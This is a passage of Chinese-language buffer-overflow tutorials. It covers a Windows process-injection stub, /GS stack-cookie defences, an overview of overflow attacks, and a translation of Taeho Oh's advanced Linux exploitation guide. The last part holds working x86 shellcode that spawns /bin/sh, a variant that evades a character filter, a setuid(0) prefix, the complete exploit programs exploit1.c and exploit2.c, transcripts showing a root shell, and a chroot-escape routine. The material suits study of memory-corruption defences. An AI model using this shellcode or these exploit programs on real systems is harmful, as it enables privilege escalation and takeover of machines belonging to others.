if(j >= nCount)
return by;
}
//we don't find it, return the first disallowed char for an error
return arrDisallow[0];
}

异或处理完毕后，PrepareStub要根据动态计算出来的数据，修改stubstubcode。由于数据是动态算出来的，所以需要对最终的stubstubcode做一个检查，看里面有没有不允许的字符。最后，它用g_szStubTail把stub填充为一个完整地UNC字符串，整个stub的准备工作宣告完成。
前面已经说过，stubcode的任务是在victim中建立一个attacker的映像，然后把控制权交给它里边的AttackerEntry函数。因而attacker的第二步工作是把自身的一个拷贝重定位后，发给stubcode。下面的代码就来完成这些任务：

…
DWORD dwNewBase, dwSize;
LPBYTE pImage;
recv(sck, (char*)(&dwNewBase), sizeof(DWORD), 0);
dwSize = GetImageSize((LPCBYTE)g_hInst);
pImage = (LPBYTE)VirtualAlloc(NULL, dwSize, MEM_COMMIT,
PAGE_READWRITE);
memcpy(pImage, (const void*)g_hInst, dwSize);
RelocImage(pImage, (DWORD)g_hInst, dwNewBase);
DoInject(sck, pImage, dwSize);
…

attacker先从stubcode中获得它分配的内存的起始地址，这个地址就是attacker在victim中的映像基址。然后attacker把自身复制一份，并按照新的映像基址对这个拷贝进行重定位，RelocImage的代码与《进程隐藏》中的基本相同，这里不再重复。但要注意：默认情况下，链接器不会为EXE文件生成重定位表。所以链接attacker时，要加上参数“/FIXED:No”，强制链接器生成重定位表。DoInject完成数据发送，也是简单的网络通讯，所以略过不讲。
在victim中，控制权最终会传递到下面这个函数的手中。

void WINAPI AttackerEntry(LPBYTE pImage, FxLoadLibrary
fnLoadLibrary,
FxGetProcAddr fnGetProcAddr)
{
g_hInst = (HINSTANCE)pImage;
if(LoadImportFx(pImage, fnLoadLibrary, fnGetProcAddr))
AttackerMain(g_hInst);
ExitProcess(0);
}

它同《进程隐藏》里的ThreadEntry很像，最大的不同是最后调用ExitProcess结束了victim的生命。这很好理解，victim的栈经过一系列的攻击之后，已经面目全非了，如果让AttackerEntry正常返回，victim肯定会弹出一个提示出现非法操作的对话框。我们在做“坏事”，不希望被发现，所以让victim悄无声息的退出无疑是最佳选择。
LoadImportFx和《进程隐藏》中的完全一致，也不再重复。至于AttackerMain，我的是下面的样子。你的——自己去发挥吧，但请切记你要为你所作的一切负责！

DWORD WINAPI AttackerMain(HINSTANCE hInst)
{
TCHAR szName[64], szMsg[128];
GetModuleFileName(NULL, szName, sizeof(szName)/sizeof(TCHAR));
_stprintf(szMsg, _T("进程\"%s\"存在缓冲区溢出漏洞,赶紧打补丁吧!"), szName);
MessageBox(NULL, szMsg, _T("哈哈"), MB_OK|MB_ICONINFORMATION);
return 0;
}

防御措施
有攻就有防，缓冲区溢出危害虽大，防起来却不难。最简单有效的方法莫过于写代码时小心一点了。比如在victim中，如果我们多传递给GetComputerName一个参数来标志缓冲区的长度，并在GetComputerName进行检查，那么悲剧就能避免了。
如果你比较懒，不想做这些琐事，编译器也能帮你。从vs.net开始，编译器支持了一个新的选项：/GS。打开它后，编译器就会检查每一个函数是否有发生溢出的可能。如果有，它就向这个函数中插入检测代码，比如前面的ShowComputerName经过处理后就会变成类似下面的样子。其中__security_cookie是编译器插入程序的一个全局变量，进程启动时，会根据大量信息使用哈希算法对它进行初始化，所以它的值具有很好的随机性（具体的初始化过程请见“seccinit.c”）。

void ShowComputerName(SOCKET sck)
{
DWORD_PTR cookie = __security_cookie; //编译器插入的代码
char szComputer[16];
RecvComputerName(sck, szComputer);
printf(szComputer);
__security_check_cookie(cookie); //编译器插入的代码
}

如代码所示，进入ShowComputerName后，程序所作的第一件事就是把security_cookie
的值复制一份到局部变量cookie中。注意：cookie是ShowComputerName的第一个局部变量，所以它在栈中的位置是在返回地址和其它局部变量之间，如果拷贝字符串到szComputer中时发生了缓冲区溢出，cookie肯定先于返回地址被覆盖，而它的新值几乎没有可能继续与security_cookie相同，因而函数最后的__security_check_cookie就可以使用下面的代码检测溢出了（这段代码其实不是给x86
cpu用的，但它更易理解，且逻辑上没有区别，具体请见“secchk.c”）。

void fastcall security_check_cookie(DWORD_PTR cookie)
{
/* Immediately return if the local cookie is OK. */
if (cookie == __security_cookie)
return;
/* Report the failure */
report_failure();
}

整个实现非常之简洁高效，不信就请试一下看看效果。但这种机制也有不足，一是检测到溢出后就会使程序终止运行；二是不能检测所有的溢出，还有漏网之鱼。具体就请参考相关资料和做实验吧。
谁之过
据说已发现的安全漏洞中有50%以上根缓冲区溢出有关，我们姑且不管这一数字是否准确，但它确实说明缓冲区溢出给计算机世界造成的危害的严重性。而人们也普遍认为是因为程序员的“不小心”才会有这么多的漏洞。但责任真的都应该程序员来负吗？我觉得不然。首先，x86
cpu的设计就有一些问题：函数的返回地址和普通数据放在同一个栈中，给了攻击者覆盖返回地址的机会；而栈从高地址向低地址的增长方向又大幅提高了这一几率。其次，c标准库设计时对内存占用和执行效率的斤斤计较又造就了许多类似strcpy的危险函数。当然，我并不想指责它们的设计者，我也没有资格，我只是想更深入的和大家讨论一下缓冲区溢出问题。
注：通过覆盖返回地址为jmp esp指令的地址来窃取控制权是缓冲区溢出攻击手段中最典型的一种。根据具体情况，还有很多其他方法。


黑客攻击技术概要 溢出攻击法
信息来源：黑客海岸线
原理：一碗水，望一个杯子里灌，杯子装不下了，我们会说，水溢出了。因此溢出在现实中可以描述为，当液体被倒入容器中，而超过了容器的限制时，就会造成溢出。黑客技术所描述的溢出，含义基本是一样的。当某个数据，超过了处理程序限制的范围时，该数据就会造成程序的执行溢出(overflow)。

通常一些系统在未对接收数据进行严格判断的情况下，都有可能造成溢出，对于一些无心的操作者，溢出最多会造成该处理进程报错或者异常终止，并不是很严重的事情，有人奇怪，异常终止还不严重吗？实际是这样的，这里我们面对的多人共享服务的应用，通常一个服务进程在接收一个用户请求时，会创建一个子进程去进行应答和服务，如果这个子进程接收了一些无特别含义的超过限制的数据，通常会终止，而服务的父进程和其他子进程并不受影响，因此对系统的危害实际上并不大。但是如果这个数据包是被精心构造的（参见上文，特殊字符构造法），那么在溢出点后面的就可能是精心策划的代码，从而进行服务端的代码执行，进而有可能控制系统。

溢出攻击法的危险在于，大部分系统设计者在设计初都无法完全预料和防范溢出攻击的各种可能性，因此事实上任何具有一定复杂性的服务系统几乎都肯定有遭受溢出攻击的危险，只是有的已经被发现，有的尚未被发现而已。从Wu-ftp,Sendmail,IIS,qmail,到Apache，几乎全部世界上最通用的网络服务系统，都曾出现过能够导致溢出攻击的漏洞。而且每个漏洞都是极端高危险的（可被攻击者获得对服务系统的控制），这种危险是如何实现的呢？
一个程序被执行，代码段（这里的代码段通常不是程序员编写的源代码，而是经过编译和处理后的汇编指令）会放到内存里，代码段所处理的数据也会放在内存里，通常数据段会在代码段前面，这里明确一点，电脑并不认识谁是代码，谁是数据，在它眼里，只有0和1，也就是高电平和低电平。通常数据和代码都会相安无事，但是如果数据超过了数据段的限制，占用了代码段的位置，那就不一样了，如果是数据提交者无意造成的，通常是造成代码无法执行，该子进程的崩溃。但是如果是精心构造的，那么就有可能改写代码段的执行命令（通过汇编），从而让代码段（请记住这个代码段是在服务器的内存上）执行攻击者所期望执行的操作，这样，入侵者就可以在随心所欲的让服务器执行自己要执行的操作，也就是控制服务器的整个系统（而不是单纯的应用服务）！
攻击方式：
1.测试溢出点
假设我们针对一个服务系统进行数据包的构造和发送，通常，服务系统溢出的错误显示和录入错误的显示是显著不同的，录入错误的提示是服务系统程序所产生的相关信息，而溢出的提示是操作系统所产生的相关信息，根据错误信息的差异，有经验的黑客可以很快判断该应用系统是否存在溢出点，这个过程通常是一个程序循环执行，用各种长度或格式的报文进行测试，并比较系统返回的信息，通过逐步细化范围，有经验的黑客可以测算中具体溢出点（也就是可以放置攻击代码的临界点，如果放置错了哪怕一个位置，都不可能被系统执行，这种放在内存里的汇编和用开发工具写原程序对格式的要求，位置的要求都是极高的）
2.构造攻击代码
这要看攻击者的目的和企图了，没有定论，但是有几点要强调的，第一是代码格式和规范必须与受攻击系统的相关汇编指令完全一致，第二是代码结束要干净，比如中断进程，如果结束不干净，又和人家原来系统的代码搅在一起，执行过程就可能会偏离攻击者的意图。
3.进行控制和入侵
如果相关攻击代码加载了后门，开辟了专门的shell， 那么这名攻击者就可以方便的进出该系统，实现更方便的控制。
防护方式：
对于系统的设计者，必须对太多地方考虑周详才可能避免这种方式的入侵，实际上所谓超过限制，有时候不一定是超过长度，一个长度标记位的改写就可能逃避长度检查，达到溢出攻击效果。
对于系统维护者，那没有办法，只能天天多看相关安全网站的最新问题，一旦确认和自己系统所处的服务环境有关，就一定要立即去相关站点下载补丁，进行防护，不过还有一些其他办法可以尽量减少攻击者的攻击：
第一，除非一定需要，尽量少开服务。少开服务的意思就是让攻击者缺少与系统进行沟通和数据交互的通道，减少被攻击的可能。
第二，如果是专有的服务，使用IP屏蔽技术。如果某些服务（如telnet,ftp），仅面向有限人群，而这些人群的IP地址相对集中，可以使用IP屏蔽方式让其他IP用户无法访问，这样其他IP地址的用户就无法和该系统进行数据交互了。
第三，如果是面向有限人群服务，可以使用改变服务端口的方式，比如你的FTP服务仅限于一些比较熟悉的朋友，如果他们上网环境无法固定（无法提供IP屏蔽），可以将相关服务端口改变并通知他们，这样可以使大部分网络上的扫描器无法发现的该服务的存在，也就使那些比较懒（没有太多时间做全端口扫描）的黑客放弃对你站点的纠缠。
第四，如果有特殊兴趣，可以使用端口伪装技术，让黑客进入你的圈套，被假象迷惑，从而保护你真实的服务。这样你还可以偷偷对黑客的入侵和攻击行为进行跟踪和分析。
经典案例：

如果有人说，我控制了全球50%的web服务器，你一定以为他疯了，而apache Chunk分段溢出漏洞的发布，真的让使句话成为了事实！
Apache一直是自由主义者，共享主义者的一面大期，很少有商业公司，能够在microsoft的奋力追赶下，不会失去市场优势的，不管是Apple(他们的视窗操作系统，windows的前身)，NetScape（被IE两三年内轻松击败），
Borland(borland C++被后来居上的Visual C++轻松击败), 硕果仅存的Oracle还被老巨无霸IBM干到了老二的位置上，而一个非商业组织的Apache Web Server能够立压微软大力推广的IIS多年，一直保持应用服务器全球使用率50%以上的比例，甚至于不少人在windows主机上用apache做web服务器（他们通常都是被IIS漏洞搞的心力憔悴了），这不能不算一个奇迹了，在IIS千疮百孔的时代，虽然apache也有一些诸如phf.cgi,nph-test.cgi等有名的漏洞，但是还都停留在附属配套软件身上，本身一直还都没出过太出格的问题，也深受全球用户的好评，但是这次，micro$oft的fans们终于可以长出一口气了，"看看，敢情apache也有这毛病不是"。
bug起源是这样的，本身apache对chunk数据分段的支持是有长度验证的，但是由于对无符号数意识不够，导致攻击者精心构造的分段数据包可以在逃避验证后，造成内存分配的溢出！从而执行攻击者精心构造的代码。涉及范畴包括了绝大部分的apache版本，也就是相当于全世界50%以上的Web Server都有这个问题!
与此类似的还有以前Sendmail各个版本屡补不净的溢出问题（弄的我现在看到senmail的就怕怕），几个全球流行的ftp软件屡补不净的溢出漏洞。甚至一些路由设备，乃至防火墙，也常常暴露出同样问题，真是一言难尽。
总结：
溢出攻击法的特点是，只要用足够的技术，对系统有足够的认识和分析，就能够通过溢出攻击获得对系统的控制，从而达到攻击的最高目标，而这个过程中，不需要依赖于密码的破解，嗅探，侦听等手段，也不需要任何非技术的手段和骗局，事实上，如果能够成功实施溢出攻击，即便是面对一个已知的漏洞，在没有特别傻瓜化的工具情况下，也需要非常高的系统认识能力和低层编程素质，一些精深的老黑客乐于此道而不思其余，是很有道理的。
溢出攻击法所以前文章所言，仍然属于特殊字符构造范畴，所不同的是，其攻击的思想已经不在简单是面向应用程序本身的程序设计问题，而是更多进入了系统级的考虑，包括内存段的分配，不同系统下汇编的规范，协议层的报文规范，这些都是其他特殊字符构造法所没有涉及的。精通溢出攻击并能通过该领域进行问题研究者，是最容易让全世界网管都吓一跳的人


高级缓冲溢出的使用
整理：dspman,Solo,backend
Written by Taeho Oh ( ohhara@postech.edu )
----------------------------------------------------------------------------
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
----------------------------------------------------------------------------

1.介绍
现今存在着好几种缓冲区溢出的代码程序。早期的缓冲区溢出程序功能比较简单，往往
是仅仅（通过执行 /bin/sh）获得一个 shell 。但是现今的缓冲区溢出程序已具备更
多样化的方法，如绕过过滤器限制、建立套接字、突破chroot等等。这里我们主要介绍
基于（intel x86）Linux下缓冲区溢出编程中一些较为高级的使用技巧。

2.预备知识
你必须了解汇编语言、C语言还有Linux。当然，你还必须知道缓冲区溢出是怎么一回事。
我们站点上有关于缓冲溢出的机理分析可供你参考。你也可以从phrak杂志的49-14找到
有关的缓冲区溢出的的资料(英文)。

3.绕过过滤器限制
许多程序存在缓冲区溢出问题。但是为什么并非所有的缓冲区溢出程序都能被用于获得
shell 呢？这是因为即使某个程序具备了缓冲区溢出的条件，也许仍然很难攻击成功。
在许多情况下是由于程序过滤了一些字符或者把一些字符转变为另一些字符。如果一个
程序过滤了所有的非打印字符，溢出漏洞就几乎不可利用了。但如果程序只过滤了部分
的字符，那你可以通过编写巧妙的缓冲区溢出代码来绕过通过这些过滤机制。:)
3.1 被攻击的例程
vulnerable1.c
----------------------------------------------------------------------------
#include<string.h>
#include<ctype.h>
int main(int argc,int **argv)
{
char buffer[1024];
int i;
if(argc>1)
{
for(i=0;i<strlen(argv[1]);i++)
argv[1]=toupper(argv[1]);
strcpy(buffer,argv[1]);
}
}
----------------------------------------------------------------------------
这段程序很简单，只完成将用户输入的小写的字母转换为大写的字母。所以，你必须编
写一个不包含任何小写字母的shellcode。如何才能做到呢？需要注意的是，我们必
须面对诸如"/bin/sh"必须是小写的事实。但事实上，我们确实可以做到这一点。:)
3.2 修改常规的shellcode
几乎所有的缓冲区溢出代码使用如下的shellcode。现在你要做的事是把所有的小写字母
从shellocode里去掉。当然，新的shellcode也要使我们获得shell。
常规的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */
----------------------------------------------------------------------------
这段shellcode里包含6个小写字母。（5个在"/bin/sh"里面，1个在"movl %esi,0x8(%esi)"
里）。我们不能直接使用"/bin/sh",因为它会被过滤掉。但是可以在其中插入任意的非
小写字符。也就是说，可以插入"\x2f\x12\x19\x1e\x2f\x23\x18"来代替"\x2f\x62\x69
\x6e\x2f\x73\x68" ( "/bin/sh" )。但是在缓冲区溢出后，我们必须把"\x2f\x12\x19
\x1e\x2f\x23\x18"变成"\x2f\x62\x69\x6e\x2f\x73\x68"，这样才可以执行"/bin/sh"。
我们可以通过在SHELLCODE执行时加\x50使\x62,\x69,\x6e,\x73和\x68成为执行代码。
但是如何隐藏在指令"movl %esi,0x8(%esi)"中的\x76呢？可以把"movl %esi,0x8(%esi)"
等效为其他不包含小写字母的指令。比如"movl %esi,0x8(%esi)"能够变成为
"movl %es.,%eax","addl $0x8,%eax","movl %eax,0x8(%esi)"这个指令序列。当然这也
可以用其他的指令来完成，只要改变后的指令中不包含任何小写字母。
以下是经过修改的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"\xeb\x38" /* jmp 0x38 */
"\x5e" /* popl %esi */
"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
"\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
"\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
"\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xc3\xff\xff\xff" /* call -0x3d */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
----------------------------------------------------------------------------
3.3 使用攻击程序
利用以上shellcode，可以非常轻松地编写出溢出漏洞攻击代码。
exploit1.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define
        RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"\xeb\x38" /* jmp 0x38 */
"\x5e" /* popl %esi */
"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
"\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
"\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
"\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xc3\xff\xff\xff" /* call -0x3d */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
main(int argc,char **argv)
{
char
        buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int
        offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int
        i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode;
buff[bsize-1]='\0';
printf("Jump to 0x%08x\n",addr);
execl("./vulnerable1","vulnerable1",buff,0);
}
----------------------------------------------------------------------------
运行结果如下：
----------------------------------------------------------------------------
[ user@host ~ ] {1} $ ls -l vulnerable1
-rwsr-xr-x 1 root root 4342 Oct 18 13:20 vulnerable1*
[ user@host ~ ] {2} $ ls -l exploit1
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 13:20 exploit1*
[ user@host ~ ] {3} $ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[ user@host ~ ] {4} $ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
----------------------------------------------------------------------------
3.4 技巧用途
利用这个技巧，我们可以绕过各种系统不同的过滤机制。当被攻击程序过滤了!@#$%^&*()
时，我们可以编制一个新的shellcode，使之不包含!@#$%^&*()。然而，如果程序过滤了
更多字符，编制shellcode也会变得更加困难。

4. 改变uid为0
setuid成为root的程序是在运行时具有root权限的的程序，一直是被认为安全的一个隐
患。因为它在执行过成中调用了seteuid(0)。许多程序员认为使用seteuid(getuid())
会更安全些，但事实并非如此，用户标识（uid）还是可以变为0。:)
4.1 被攻击的例程
vulnerable2.c
----------------------------------------------------------------------------
#include<string.h>
#include<unistd.h>
int main(int argc,char **argv)
{
char buffer[1024];
seteuid(getuid());
if(argc>1)
strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------
这个程序从一开始就调用seteuid(getuid())。所以，可以认为后面的
"strcpy(buffer,argv[1]);"是没有问题的。因为即使成功地实现了缓冲区溢出攻击，我
们也只能得到自己的shell。不过，如果在shellcode中加入含有setuid(0)的调用，不就能
够得到root的shell了吗？:)
4.2 编制setuid(0)代码
setuidasm.c
----------------------------------------------------------------------------
main()
{
setuid(0);
}
----------------------------------------------------------------------------
然后编译和反汇编
----------------------------------------------------------------------------
[ user@host ~ ] {1} $ gcc -o setuidasm -static setuidasm.c
[ user@host ~ ] {2} $ gdb setuidasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>: movl %ebx,%edx
0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl $0x17,%eax
0x804ca0b <__setuid+11>: int $0x80
0x804ca0d <__setuid+13>: movl %edx,%ebx
0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax
0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>: ret
0x804ca1b <__setuid+27>: nop
0x804ca1c <__setuid+28>: nop
0x804ca1d <__setuid+29>: nop
0x804ca1e <__setuid+30>: nop
0x804ca1f <__setuid+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------
setuid(0); code
----------------------------------------------------------------------------
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x17" /* movb $0x17,%al */
"\xcd\x80"; /* int $0x80 */
----------------------------------------------------------------------------
4.3 修改常规的shellcode
现在只要在常规的shellcode的开头处，插入我们setuid(0)代码就得到了一个新的shellcode。
新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x17" /* movb $0x17,%al */
"\xcd\x80" /* int $0x80 */
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */
----------------------------------------------------------------------------
4.4 攻击程序
用下面的shellcode,你可以很方便的使用代码.
exploit2.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define
        RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x17" /* movb $0x17,%al */
"\xcd\x80" /* int $0x80 */
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long
        addr;
unsigned long sp;
int
        offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int
        i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode;
buff[bsize-1]='\0';
printf("Jump to 0x%08x\n",addr);
execl("./vulnerable2","vulnerable2",buff,0);
}
----------------------------------------------------------------------------
运行结果
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable2
-rwsr-xr-x 1 root root 4258 Oct 18 14:16 vulnerable2*
[ user@hosts ~ ] {2} $ ls -l exploit2
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 14:26 exploit2*
[ user@hosts ~ ] {3} $ ./exploit2
Jump to 0xbfffec64
Illegal instruction
[ user@hosts ~ ] {4} $ ./exploit2 500
Jump to 0xbfffea70
bash# whoami
root
bash#
----------------------------------------------------------------------------
4.5 技巧用途
如果你用一般的溢出攻击方法对一个具有溢出漏洞的程序攻击只能得到自己的shell，那
可以考虑这种方法。

5. 突破chroot
如果setuid成为root的程序具有chroot的特性，那就只能访问被chroot保护的目录。而
不能访问真正的根目录。但是，通过在shellcode里把root的目录变为"/"，你仍旧可以
访问任意的目录。:)
5.1 被攻击的例程
vulnerable3.c
----------------------------------------------------------------------------
#include<string.h>
#include<unistd.h>
int main(int argc,char **argv)
{
char buffer[1024];
chroot("/home/ftp");
chdir("/");
if(argc>1)
strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------
如果我们试图利用溢出执行"/bin/sh"，它将有可能执行"/home/ftp/bin/sh"(如果存在
的话)，而且我们不能访问除"/home/ftp"外的其他的目录。
5.2 编制突破chroot代码
如果你能执行下面的代码，你就可以突破chroot.
breakchrootasm.c
----------------------------------------------------------------------------
main()
{
mkdir("sh",0755);
chroot("sh");
/* many "../"
        */
chroot("../../../../../../../../../../../../../../../../");
}
----------------------------------------------------------------------------
这段程序建立了一个"sh"的目录，因为它是经常被用的。(它被经常用来执行 "/bin/sh" )
编译和反汇编
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ gcc -o breakchrootasm -static breakchrootasm.c
[ user@hosts ~ ] {2} $ gdb breakchrootasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble mkdir
Dump of assembler code for function __mkdir:
0x804cac0 <__mkdir>: movl %ebx,%edx
0x804cac2 <__mkdir+2>: movl 0x8(%esp,1),%ecx
0x804cac6 <__mkdir+6>: movl 0x4(%esp,1),%ebx
0x804caca <__mkdir+10>: movl $0x27,%eax
0x804cacf <__mkdir+15>: int $0x80
0x804cad1 <__mkdir+17>: movl %edx,%ebx
0x804cad3 <__mkdir+19>: cmpl $0xfffff001,%eax
0x804cad8 <__mkdir+24>: jae 0x804cc40 <__syscall_error>
0x804cade <__mkdir+30>: ret
0x804cadf <__mkdir+31>: nop
End of assembler dump.
(gdb) disassemble chroot
Dump of assembler code for function chroot:
0x804cb60 <chroot>: movl %ebx,%edx
0x804cb62 <chroot+2>: movl 0x4(%esp,1),%ebx
0x804cb66 <chroot+6>: movl $0x3d,%eax
0x804cb6b <chroot+11>: int $0x80
0x804cb6d <chroot+13>: movl %edx,%ebx
0x804cb6f <chroot+15>: cmpl $0xfffff001,%eax
0x804cb74 <chroot+20>: jae 0x804cc40 <__syscall_error>
0x804cb7a <chroot+26>: ret
0x804cb7b <chroot+27>: nop
0x804cb7c <chroot+28>: nop
0x804cb7d <chroot+29>: nop
0x804cb7e <chroot+30>: nop
0x804cb7f <chroot+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------
mkdir("sh",0755); code
----------------------------------------------------------------------------
